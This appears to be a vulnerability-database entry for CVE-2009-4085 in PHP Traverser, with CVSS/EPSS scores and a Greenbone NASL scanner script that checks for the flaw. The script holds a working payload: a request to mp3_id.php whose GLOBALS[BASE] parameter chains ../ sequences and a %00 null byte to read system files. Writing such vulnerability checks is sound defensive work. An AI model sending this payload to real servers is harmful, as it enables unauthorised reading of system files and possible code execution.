7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
6.8 Medium
AI Score
Confidence
Low
0.033 Low
EPSS
Percentile
91.3%
PHP Traverser is prone to a remote file include (RFI)
vulnerability because it fails to properly sanitize user-supplied input.
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100734");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2010-08-02 14:28:14 +0200 (Mon, 02 Aug 2010)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2009-4085");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("PHP Traverser <= 0.8.0 RFI Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2010 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"PHP Traverser is prone to a remote file include (RFI)
vulnerability because it fails to properly sanitize user-supplied input.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
sensitive information or to execute arbitrary script code in the context of the webserver
process. This may allow the attacker to compromise the application and the computer. Other
attacks are also possible.");
script_tag(name:"affected", value:"PHP Traverser version 0.8.0 and probably prior.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/41899");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");
port = http_get_port(default: 80);
if (!http_can_host_php(port: port))
exit(0);
files = traversal_files();
foreach dir (make_list_unique("/phptraverser", http_cgi_dirs(port: port))) {
if (dir == "/")
dir = "";
res = http_get_cache(port: port, item: dir + "/assets/plugins/mp3_id/mp3_id.php");
if (res !~ "^HTTP/1\.[01] 200")
continue;
foreach file (keys(files)) {
url = dir + "/assets/plugins/mp3_id/mp3_id.php?GLOBALS[BASE]=../../../../../../../../../../../../../" +
files[file] + "%00";
if (http_vuln_check(port: port, url: url, pattern: file)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
}
exit(99);